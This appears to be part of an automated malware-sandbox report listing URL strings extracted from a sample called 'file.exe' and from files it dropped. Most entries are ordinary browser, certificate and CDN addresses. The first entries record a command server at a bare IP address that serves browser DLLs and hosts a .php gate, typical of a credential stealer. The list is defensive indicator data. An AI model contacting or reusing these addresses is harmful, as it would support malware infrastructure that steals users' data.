Source: file.exe, 00000000.00000002.2034281866.0000000023911000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllT
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll4
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll;
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllx
Source: file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllt
Source: file.exe, 00000000.00000002.2000360601.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2000360601.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php$
Source: file.exe, 00000000.00000002.2000360601.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php(
Source: file.exe, 00000000.00000002.2000360601.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php3
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpJJDA.exe-data;
Source: file.exe, 00000000.00000002.2000360601.00000000011F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP
Source: file.exe, 00000000.00000002.2000360601.000000000120A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpgPreference.Verb
Source: file.exe, 00000000.00000002.2000360601.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206N
Source: file.exe, 00000000.00000002.1995284969.00000000003E7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ubert
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_471.5.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2050656432.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2026320717.000000001D82D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2000360601.0000000001260000.00000004.00000020.00020000.00000000.sdmp, AFHDHCAA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_471.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: a26d4013-c7d2-4ddc-a87c-300cd8af0052.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2034281866.0000000023973000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFI.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.2034281866.0000000023973000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFI.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: AFHDHCAA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2000360601.0000000001260000.00000004.00000020.00020000.00000000.sdmp, HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2000360601.0000000001260000.00000004.00000020.00020000.00000000.sdmp, HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: b3f1c9f0-0793-47f1-ab74-59fb678e049c.tmp.10.dr, a26d4013-c7d2-4ddc-a87c-300cd8af0052.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: b3f1c9f0-0793-47f1-ab74-59fb678e049c.tmp.10.dr, a26d4013-c7d2-4ddc-a87c-300cd8af0052.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2034281866.0000000023973000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.2034281866.0000000023973000.00000004.00000020.00020000.00000000.sdmp, FCBAEHCAEGDHJKFHJKFI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 2cc80dabc69f58b6_0.9.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.9.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: HIJJDGDH.0.dr, AFHDHCAA.0.dr, Web Data.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: a26d4013-c7d2-4ddc-a87c-300cd8af0052.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr, e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr, e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: HubApps Icons.9.dr, e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr, e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: HubApps Icons.9.dr, e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: e395bb91-e3cd-449c-a23e-d0e1471d50f9.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
